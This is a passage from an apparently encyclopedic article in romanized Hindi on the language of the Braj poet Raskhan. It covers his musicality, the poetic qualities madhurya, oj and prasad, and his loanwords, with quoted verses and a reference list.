uparyukt panktiyoan mean madhur pravah-lality hai. sath hi shabd yojana bhi sarvatha upayukt aur anoothi hai. anupras bhi bhasha-pravah mean sahayak hua haian kintu aisa kahian pratit nahian hota ki rasakhan anupras ke agrah se likh rahe haian. manonukool sthalo aur prasangoan ke chitran mean rasakhan ne jis bhasha ka prayog kiya hai vah pravahamayi hai—

ali page range je rang saanvare maupai n avat lalachi naina.
dhavat hai utahi jit mohan roke rukai nahian ghooanghat aina.
kanani kauan kal nahian parai sakhi prem soan bhijai sune bin baina.
rasakhani bhee madhu ki makhiyaan ab neh ko bandhan kyau hooan chhutaina॥[70]

  • rasakhan ki bhasha ka mahattvapoorn gun usaka sahaj svabhavik pravah hai. rasakhan ki bhasha mean yah pravah kisi uddam parvatiy nadi ke saman dikhaee p data hai jisake marg mean kahian bhi atak, avarodh ya badha nahian.

nadatmakata

chhandoan ki geyata prabhavotpadan mean nissandeh vriddhi karati hai. uttam chhand vahi mana jata hai jisamean upayukt shabd yojana aur sangit tattv ho. rasakhan ki bhasha mean nadatmakata ke darshan hote haian. sangit tattv ne bhavanubhooti ke lie ek sajiv aur manoram vatavaran utpann kar diya hai. rasakhan ke kavy mean ek madhur akar ki anubhooti hoti hai. rasakhan ke sundar shabdoan evan varnoan ke chayan se unake kavittoan au savaiyoan mean barabas sangitatmakata a jati hai. unake samapt ho jane ke bad bhi sangitatmakata ki jhankriti karn-kuharoan mean pratidhvanit hoti rahati hai.[71]

  • anupras ke vibhinn roopoan ke sanyukt prayog dvara nirmit is savaiye ka sangit sunane yogy hai—

biharai piy pyari saneh sane chhaharai chunari ke jhava jhaharaian.
siharaian navajovan rang anang subhang apaangani ki gaharaian.
baharaian rasakhani nadi ras ki ghaharaian banita kul hoo bhaharaian.
kaharaian birahi jan atap sauan laharaian lali lal lie paharaian॥[72]

is pad mean nadatmakata ki saphal svabhavik nibandhana huee hai. jhankar ki-si pratidhvani ho rahi hai. rasakhan ki bhasha pravahamayi aur sangitapoorn hai. kavi ki lekhani se nikala hua ek-ek shabd lay srijan mean yog de raha hai. rasakhan ki bhasha ka sabase b da gun yah hai ki pratyek shabd chhand ke utar-chadhav ke anuroop lay ke anusar bolata hai. varn-sangit ke dvara nirmit aantarik sangit rasakhan ke kavy-madhury ka pradhan tattv hai. holi ke prasangoan mean sangit ki dhvani sunaee p dati hai—

khelat phag suhag bhari anuragahian lalan kauan dhari kai.
marat kuankam kesari ke, pichakarin mean rang kauan bhari kai.
gerat lala gulal lali man mohini mauj mita kari kai.
jat chali rasakhani ali madamatt manau man kauan hari kai॥[73]

  • shiv-stuti prasang mean bhi unaki shabdavali isi sangitamayi gati se pravahit hai—

yah dekhi dhatoore ke pat chabat au gat soan dhooli lagavat haian.
chahuan or jata aantakai latakai phaniso kafani phaharavat haian.
rasakhani jeee chitavai chit dai tinake dukhadund bhajavat haian.
gajakhal kapal ki mal bisal sau gal bajavat avat hai.[74]

  • rasakhan ne shabdoan ko us prakar sanjoya hai ki unamean nad saundary jhalak raha hai— 'pale pari maian akeli lali lala laj liyau sukiyo man bhayau.[75]'
  • vastavikata yah hai ki rasakhan dvara sanyojit varn-sangit ke udaharan mean unaka poora kavy rakha ja sakata hai.

gavaian guni ganika gandharabbab au sarad sesh sabai gun gavat.
nam anant ganant ganes jyauan brahma trilochan par n pavat.
jogi jati tapasi aru siddh nirantar jahian samadhi lagavat.
tahi ahir ko chhohariya chhachhiya bhari chhachh pai nach nachavat॥[76]

aantim pankti ki dhvanyarth vyanjana vishesh dhyan dene yogy hai. varn aur shabd yojana dvara aantarik sangit ki nibandhana rasakhan ki bhasha ki visheshata hai.

  • pray: pady mean shabd dhvanit hote dikhaee p date haian— 'ya murali muralidhar ki adharan dhari adhara n dharaugi.[77]'
  • tyauan rasakhani vahi rasakhani ju hai rasakhani sau hai rasakhani.[78]
  • rasakhan ne saman varn vale shabdoan ki avritti dvara bhasha mean pravah aur lay ka nirman kiya hai-

tean n lakhyau jab kuanjan tean bani ke nikasyau bhatakyau matakyau ri.
sauhat kaiso hara tatakyau aru kaiso kirit lasai latakyau ri.
kau rasakhani phirai bhatakyau hatakyau braj log phirai bhatakyau ri.
roop sabai hari va nat ko hiyarean atakyo atakyo atakyau ri॥[79]

rasakhan ki bhasha mean nadatmakata bhavavyanjana ke anukool hai. inhoanne keshav adi ritikalin kaviyoan ki bhaanti shabdoan se khilava d nahian ki. inaki bhasha mean shabdagrah nahian. bhasha ki nadatmakata shrutipeshal tatha pratipady ke anukool hai. usamean svabhavik saundary evan sangit ki kamaniyata avalokaniy hai.

gunochit shabd-yojana (gun, vritti)

gun

kavy ki atma ke roop mean pratishthit ras anubhootisvaroop hai, vah asvad hi hai. chitt ki jis avastha mean bhavak ko svanubhooti hoti hai use 'gun' kahate haian. gun vastut: ras ke dharm haian. ras ke sath unaka avinabhav sambandh hai. arthath ras ke astitv ke sath gun ka astitv anivary hai aur gun ke sath ras ka astitv. jis prakar shaury adi sharir ke dharm n hokar atma ke dharm haian, usi prakar madhury adi guni shabdarth ke dharm n hokar ras ke hi dharm haian. jis prakar atma ke dharm-shaury adi adi ko lok-vyavahar mean sharir ka dharm kah diya jata hai, usi prakar isake dharm-madhury adi ko bhi kavy ke shabdarth roop sharir ka dharm samajh liya jata hai. sanskrit ke kavyashastr mean vibhinn acharyoan dvara gunoan ki vibhinn sankhyaean batalaee gee haian. age chalakar achary mammat ne tin gunoan ki pratishtha ki. paravarti kavy shastr mean inhian ko apt man liya gaya. ve tin gun haian- madhury, oj aur prasad.

vritti

varnavinyas ke kram ko 'vritti' kahate haian.

  • achary vaman ne 'vishishta pad rachana' ko 'riti' kaha hai. unaka riti-siddhant bahut hi vyapak hai. usake antargat alankaroan ki yojana, doshoan ka parihar, gun adi bahut kuchh hai.
  • mammat ne pad rachana ya varnavinyas ke lie 'vritti' shabd ka samichin vyavahar kiya. dhvanivadiyoan aur rasavadiyoan ne kavy ke pratyek aang (ras, alankar, vritti adi) ka sapeksh mahattv nirdharit kar diya. unaka yah abhimat sanskrit kavy shastr ka manadand ban gaya. vaidarbhi adi ritiyoan ka jo pratipadan sanskrit ke kavy shastr mean kiya gaya hai use hindi kavita par lagoo karana nyay-sangat nahian hai. atev rasakhan ke kavy vivechan mean vibhinn ritiyoan ke badale trividdh vrittiyoan ki vichar-charcha hi sangat hai, jo is prakar haian- madhura vritti, komala vritti aur parusha vritti.

madhury gun madhura vritti

madhury gun chitt ki vah drut dasha hai jisamean ras ya bhav ki anubhooti hoti hai. lakshana ke dvara ham is prakar ki rasanubhooti karane vale kavy mean madhury gun ki charcha karate haian. kanhaiyalal poddar ke shabdoan mean - 'jis kavy rachana se ant:karan anand se dravibhoot ho jata hai, us rachana mean madhury gun hota hai.[80]' madhury gun shrriangar ras ke sath-sath shant ras mean bhi milata hai. saras, marmik aur manohar prasangoan ke lie madhura vritti ke anuroop hi shabdoan ka vishesh dhyan rakha jata hai. rasakhan premomang ke kavi the. shrriangar unaka priy ras tha. isalie unaki bhasha mean svabhavat: hi madhury gun paya jata hai. shrikrishna ki kishoravastha ki prem lilaoan ke varnan mean komalavritti se pagi huee bhasha ke darshan hote haian. krishna ke roop-saundary niroopan mean madhury bhara hua hai. yatha—

main-manohar bain bajai su saje tan sohat pit pata hai.
yauan damakai chamakai jhamakai duti damini ki mano syam ghata hai.
e sajani braj rajakumar ata chadhi pherat lala pata hai.
rasakhani maha madhuri mukh ki musakani karai kul kani kata hai.[81]

  • t,th,d,dh ko chho dakar 'k' se 'm' tak ke varn n,n,n,m se yukt hrasv r aur n samas ka abhav ya alp samas ke pad aur komal, madhur rachana jo madhury gun ke mool haian, rasakhan ke kavy mean pae jate haian. komalakant-padavaliyukt madhury gun ka any svaroop dekhie—

kaiso manohar banak mohan sohan sundar kam te ali.
jahi bilokat laj taji kul chhootau hai nainani ki chal chali.
adhara musakan tarang lasai rasakhani suhaee maha chhabi chhali.
kuanjagali madhi mohan sohan dekhyau sakhi vah roop rasali.[82]

karkashata se door madhura vritti-sanyukt madhury gun yukt lalit pad-yojana darshaniy hai.

oj gun, parusha vritti

oj gun chitt ki vah dipt dasha hai jisamean ras ya bhav ki anubhooti hoti hai. lakshana ke dvara ham is prakar ki rasanubhooti karane vale kavy mean oj gun ki charcha karate haian. kanhaiyalal poddar ke shabdoan mean- 'jis kavy rachana ke shravan se man mean tez utpann hota hai, us rachana mean oj gun hota hai.[83]' ojagun vir ras, vibhats aur raudr ras mean pradhanat: sthit rahata hai. rasakhan ke krishna mahabharat ke yoddha nahian, gokul ke kishor the. rasakhan ne unake saundary aur prem lilaoan ki hi charcha ki hai. kuvalayavadh mean unhoanne krishna ki virata ko dikhaya hai kintu vahaan vir ras ka poorn paripak n hone se oj gun ke darshan nahian hote.

kans ke krodh ki phaili rahi sigare braj mandal maanjh pukar si.
ai ge kachhini kachhi ke tabahian nat-nagar nandakumar si.
dvarad ko rad khaianchi liyo rasakhani hiye mahi lai bichar si.
lini kuthaur lagi lakhi tori kalank tamal te kirati dar si॥[84]

vahaan aisa pratit hota hai ki koee balak yooan hi khel-khel mean apane shaury ka pradarshan kar raha hai. jahaan dvitv varnoan, sanyukt varnoan r ke sanyog aur t,th,d,dh ki adhikata ho samasadhiky ho aur kathor varnoan ki rachana ho vahaan parushavritti tatha oj gun hota hai. rasakhan ke kavy mean kahian parushavritti poorn shabdavali jhalakane se oj gun dhvanit hota hai-

veee brahm brahma jahi sevat haian rain din,
sada siv sada hi dharat dhyan gadhe haian.
veee vishnu jake kaj mani moodh raja rank,
jogi jati hvai kai sit sahyau aang dadhe hai.
veee brajanand rasakhani pran pranan ke,
jake abhilash lakh-laksh bhaanti badhe haian.
jasudha ke age basudha ke man-mochan ye,
tamaras-lochan kharochan kauan thadhe haian.[85]

  • rasakhan ke kavy mean oj gun pradhan t-varg bhi madhury gun ka sahayak banakar aya hai—

tai n lakhyau jab kuanjan tean bani kai nikasyau bhatakyau matakyau ri.
sohat kaiso hara tatakyau aru kaiso kirit lase latakyau ri.
ko rasakhani phirai jhatakyau hatakyau braj log phirai bhatakyau ri.
roop sabai hari va nat ko hiyaraian, atakyau atakyau atakyau ri.[86]

prasad gun, komal vritti

  • prasad gun chitt ki vah prasann dasha hai jisamean ras ya bhav ki anubhooti hoti hai. ham is prakar ki rasanubhooti karane vale kavy mean prasad-gun ki charcha karate haian. madhury chitt ki drut dasha hai aur oj dipti dasha. atev donoan ek sath asanbhav haian. prasad gun madhury ke sath bhi ho sakata hai aur oj ke sath bhi. usaka vaishishty keval is bat se hai ki yadi kavy ki bhavana se tatkal hi usake marm ka sakshatkar ho jay aur bhavak ko rasanubhooti hone lage to ham vahaan prasad gun maneange. jis rachana mean vyakt vichar vagjal se rahit hone ke karan poornat: spasht hote haian vahaan komalavritti hoti hai. rasakhan ke kavy mean is vritti se yukt bhasha ki pradhanata hai. unake bhakti sambandhi pad aur krishna lilaean prasad gun yukt haian-

manush hoan to vahi rasakhani basauan braj gokul gaanv ke gvaran.
jau pasu hoan to kaha bas mero charoan nit nand ki dhenu manjharan.
pahan hoan to vahi giri ko jo dharayau kar chhatr purandar dharan.
jau khag hauan to basero karauan mili kaliandi-kool kadanb ki daran॥[87]

  • nimnalikhit pad mean saras aur komal shabdoan ke prayog ke karan abhivyakti mean saundary aur komalata ke darshan hote haian—

dhoori bhare ati sobhit syamajoo taisi bani sir sundar choti.
khelat khat phiraian aangana pag paianjani bajati piri kachhoti.
va chhabi ko rasakhani bilokat varat kam kala nij koti.
kag ke bhag b de-sajani hari hath soan lai gayau makhan roti॥[88]

  • komalavritti ke prayog ke karan rasakhan ki bhasha pravahamayi hai. arth ke lie mastishk ko vyayam ki avashyakata nahian p dati. saraansh yah hai ki rasakhan ka kavy madhury aur prasad gun pradhan hai. usamean svabhavik madhurata aur komalakaant padavali ke sath-sath darshan hote haian. rasakhan ki bhasha par sahityik drishti se vichar karane par ham is nishkarsh par pahuanchate haian ki rasakhan ki bhasha shuddh braj hai. unhoanne shabdoan ko vikrit karane ya adhik vyakarananumodit karane ka prayas n karake usake sahaj roop ko svikar kiya. marmik udgaroan ko svabhavikata evan spashtata ke sath abhivyakti karane mean rasakhan ki bhasha jitani samarth hai, utani hi pranavan aur shreshth bhi hai.

bhashaoan ke shabd

rasakhan ki bhasha mean anek deshi boliyoan ke shabd bhi milate haian. apabhransh shabdavali ko bhi kahian-kahian rasakhan ne apanaya hai. gangaji mean nhai muktahalahoo lutay[89] mean 'muktahal' shabd apabhransh ka hai. aj mahooan dadhi bechat jata hi[90] shabd apabhransh ka hai jisaka arth hai thi. benu bajavat godhan gavat gvalan ke sang gomadhi ayo.[91] apabhransh mean saptami ka chihn 'i' hai aur vah i yahaan dh mean lag gee jisaka arth hua gayoan ke madhy mean.

  • rajasthani ke bhi ek-do shabd rasakhan ki bhasha mean mil jate haian too garabai kaha jhagarai rasakhani tere bas bavari 'hausai'.[92] yahaan hosai shabd rajasthani shabd 'hosi' ka roop hai jisaka arth hai hoga.
  • rasakhan ki bhasha mean kuchh avadhi bhasha ke shabd paye jate haian. ta chhin te pari bairi bisasini jhaankan deti nahian hai duaro[93], hot chavav bachavoan su kyoan ali bhetiyai pran piyaro[94] yahaan 'dubaro' tatha 'piyaro' avadhi 'piyar' tatha 'duvar' par adharit haian. brajabhasha mean ye 'dvarau' aur 'pyaro' hoange.[95]

yahaan rasakhan ki bhasha par sankshep mean prakash dala gaya hai. unaki bhasha ki sabase b di visheshata yah hai ki vah bahut sahaj, vyakaran-sammat, bhavabhivyanjak tatha prabhavashali hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. sahityadarpan, pri0 40;
  2. sahityadarpan ,pri0 48
  3. sahity darpan, pri0 75
  4. sujan rasakhan, 4
  5. sujan rasakhan, 5
  6. sujan rasakhan, 7
  7. sujan rasakhan, 10
  8. sujan rasakhan,8
  9. sujan rasakhan,12
  10. sujan rasakhan, 20
  11. sujan rasakhan, 21
  12. sujan rasakhan, 46
  13. sujan rasakhan, 183
  14. mukhyarth badhe tadyukto yayanyoarth: pratiyate. roodhe: prayojanadvaasau lakshana shaktirarpita॥ sahityadarpan, pri0 48
  15. kavy-darpan, pri0 22
  16. sujan rasakhan, 28
  17. sujan rasakhan, 41
  18. sujan rasakhan, 55
  19. sujan rasakhan, 100
  20. sujan rasakhan, 181
  21. kavy-darpan, pri0 23
  22. sujan rasakhan, 21
  23. sujan rasakhan,30
  24. sujan rasakhan, 38
  25. sujan rasakhan, 27
  26. sujan rasakhan, 60
  27. kavy-darpan, pri0 24
  28. sujan rasakhan, 46
  29. kavy darpan, pri0 25
  30. sujan rasakhan, 5
  31. sujan rasakhan, 43
  32. sujan rasakhan, 98
  33. sujan rasakhan, 138
  34. viratasvabhidhadyasu yayaarthoan bodhyate par: sa vrittivyanjana nam shabdasyarthadikasy ch॥ sahityadarpan, pri0 75
  35. sujan rasakhan,9
  36. sujan rasakhan
  37. sujan rasakhan, 18
  38. sujan rasakhan, 21
  39. sujan rasakhan, 24
  40. sujan rasakhan, 42
  41. sujan rasakhan, 45
  42. sujan rasakhan, 54
  43. sujan rasakhan,101
  44. sujan rasakhan,127
  45. sujan rasakhan, 142
  46. sujan rasakhan, 143
  47. sujan rasakhan, 157
  48. sujan rasakhan, 171
  49. sujan rasakhan, 185
  50. sujan rasakhan, 194
  51. 'rasakhan ka kavy abhidha ka kavy hai'.
  52. sahity darpan, pri0 674
  53. sujan rasakhan, 42
  54. sujan rasakhan, 44
  55. sujan rasakhan, 204
  56. brajabhasha ke krishna bhakti kavy mean abhivyanjanavad, pri0 185
  57. sujan rasakhan, 144
  58. sujan rasakhan, 82
  59. sujan rasakhan, 106
  60. sujan rasakhan, 98
  61. sujan rasakhan, 3
  62. sujan rasakhan, 66
  63. sujan rasakhan, 165
  64. sujan rasakhan, 183
  65. sujan rasakhan, 49
  66. sujan rasakhan, 35
  67. sujan rasakhan, 141
  68. sujan rasakhan, 15
  69. sujan rasakhan, 127
  70. sujan rasakhan, 126
  71. rasakhan (jivan aur krititv), pri. 185
  72. sujan rasakhan, 189
  73. sujan rasakhan, 191
  74. sujan rasakhan, 211
  75. sujan rasakhan, 43
  76. sujan rasakhan, 12
  77. sujan rasakhan, 86
  78. sujan rasakhan, 4
  79. sujan rasakhan, 167
  80. kavyakalpadrum, bhag 1, pri0 339
  81. sujan rasakhan, 172
  82. sujan rasakhan, 158
  83. kavy kalpadrum, pri0 640
  84. sujan rasakhan, 202
  85. sujan rasakhan, 10
  86. sujan rasakhan, 167
  87. sujan rasakhan, 1
  88. sujan rasakhan, 21
  89. sujan rasakhan, 11
  90. sujan rasakhan, 43
  91. sujan rasakhan, 58
  92. sujan rasakhan, 107
  93. sujan rasakhan, 99
  94. sabha kashi
  95. vishvanath prasad mishr ne rasakhani (granthavali) mean donoan ko braj bhasha ka roop dekar prayukt kiya hai. sujan rasakhan, pad 99

sanbandhit lekh

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